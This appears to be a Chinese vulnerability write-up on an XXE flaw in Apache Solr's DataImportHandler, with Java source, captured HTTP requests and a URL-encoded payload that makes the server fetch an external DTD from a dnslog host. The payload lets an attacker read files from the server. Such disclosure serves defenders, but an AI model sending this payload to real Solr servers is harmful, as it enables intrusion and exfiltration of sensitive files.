DataImportHandler主要用于从数据库抓取数据并创建索引,Solr搭建完毕,并将数据插入到MySQL等数据库之后,需要创建Core,并且对数据库中的数据生成索引,在生成索引的时候就会用到DIH。
在使用solr web控制台生成core索引的时候,dataConfig参数存在xxe漏洞,攻击者可以向服务端提交恶意的xml数据,利用恶意xml数据可以读取被攻击服务器的敏感文件、目录等。
漏洞影响版本:
1、打开Solr Admin控制台;
2、选择创建好的core,然后点击DataImport功能;
3、点击”Execute”的时候,进行抓包,可以获取Dataimport的具体请求。
也可以直接访问功能入口Url:
http://www.hxxh.com/solr/#/corename/dataimport
以solr 6.0.1为例,抓包获取的测试请求如下:
POST /corename/dataimport?_=
1531279910257
&indent=on&wt=json HTTP/
1.1
Host:
61.133
.
214.178
:
9983
Content-Length:
282
Accept: application/json, text/plain, */*
Origin: http:
//www.hxxh.com
User-Agent: Mozilla/
5.0
(Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/
537.36
(KHTML, like Gecko) Chrome/
67.0
.
3396.99
Safari/
537.36
Content-type: application/x-www-form-urlencoded
Referer: http:
//www.hxxh.com/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=
0.9
,en;q=
0.8
Connection: close
command=full-
import
&verbose=
false
&clean=
false
&commit=
false
&optimize=
false
&core=xxetest
默认请求中是不存在漏洞参数dataConfig的,使用的是配置文件的方式data-config.xml中包含了mysql数据库的连接配置,以及需要生成索引的表的字段等信息。
非默认参数的相关代码片段:
package
org.apache.solr.handler.dataimport;
......
public
class
RequestInfo {
private
final
String command;
private
final
boolean
debug;
private
final
boolean
syncMode;
private
final
boolean
commit;
private
final
boolean
optimize;
......
private
final
String configFile;
private
final
String dataConfig;
public
RequestInfo(SolrQueryRequest request, Map requestParams, ContentStream stream) {
......
String dataConfigParam = (String) requestParams.get(
"dataConfig"
);
if
(dataConfigParam !=
null
&& dataConfigParam.trim().length() ==
0
) {
//如果dataConfig参数的值为空,将该参数置为null
dataConfigParam =
null
;
}
dataConfig = dataConfigParam;
......
public
String getDataConfig() {
return
dataConfig;
}
......
}
使用如上请求,可以自行添加dataConfig参数,因此具体的漏洞测试请求如下
POST /corename/dataimport?_=
1531279910257
&indent=on&wt=json HTTP/
1.1
Host:
61.133
.
214.178
:
9983
Content-Length:
282
Accept: application/json, text/plain, */*
Origin: http:
//www.hxxh.com
User-Agent: Mozilla/
5.0
(Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/
537.36
(KHTML, like Gecko) Chrome/
67.0
.
3396.99
Safari/
537.36
Content-type: application/x-www-form-urlencoded
Referer: http:
//www.nxadmin.com/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=
0.9
,en;q=
0.8
Connection: close
command=full-
import
&verbose=
false
&clean=
false
&commit=
false
&optimize=
false
&core=xxetest&dataConfig=%3C%3Fxml+version%3D%
221.0
%
22
+encoding%3D%22UTF-
8
%
22
%3F%3E %3C!DOCTYPE+root+%5B%3C!ENTITY+%
25
+remote+SYSTEM+%22http%3A%2F%2Fsolrxxe.8ug564.ceye.io%2Fftp_xxe.xml%
22
%3E%25remote%3B%5D%3E
以上是漏洞作者提供的测试payload,使用dnslog的方式证明漏洞存在,如图: